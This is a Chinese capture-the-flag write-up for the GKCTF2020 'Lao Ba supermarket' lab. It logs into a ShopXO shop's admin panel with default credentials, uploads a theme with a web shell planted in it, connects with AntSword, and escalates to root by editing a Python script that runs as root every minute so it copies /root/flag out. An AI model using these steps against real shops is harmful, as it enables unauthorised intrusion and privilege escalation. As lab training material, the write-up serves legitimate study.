[GKCTF2020]老八小超市儿
一日三餐没烦恼,今天到超市买个老八小汉堡儿。既实惠,还管饱,你看这超市整滴行不行。
靶机均为内网,如有需要请使用 https://buuoj.cn/faq 中描述的内网服务。
打开发现是一个shopxo的页面
尝试使用默认后台登陆,即admin.php
输入默认用户名admin,默认密码shopxo
登陆后台成功
在应用中心->主题商店里可以下载主题,选择一款免费的下下来,在\default\_static_\下放入shell
然后将修改过的主题上传,网站管理->主题管理
用f12可以得到上传文件的位置public/static/index/default/
然后蚁剑连接,在根目录下看到了flag
flag{this_is_fake_flag/true_flag_in_/root}
好家伙,是个假flag
而root目录我们没有权限进入
查看flag.hint
有两行,第一行是文件创建时间,第二行是"Get The RooT,The Date Is Useful!"
查看auto.sh
发现内容如下
#!/bin/sh while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done
也就是每隔60s运行一次makeflaghint.py文件
查看makeflaghint.py文件,内容如下
import os import io import time os.system("whoami") gk1=str(time.ctime()) gk="\nGet The RooT,The Date Is Useful!" f=io.open("/flag.hint", "rb+") f.write(str(gk1)) f.write(str(gk)) f.close()
也就是打开flag.hint,写入时间和那段话,并且有root权限
于是我们修改代码为
import os import io import time os.system("whoami") gk1=str(time.ctime()) gk="\nGet The RooT,The Date Is Useful!" s=open('/root/flag', 'r').read() f=io.open("/flag.hint", "rb+") f.write(str(gk1)) f.write(str(gk)) f.write(s) f.close()
一分钟后,在flag.hint里拿到flag
flag{2463b66f-2770-42d2-b155-bf621db6994e}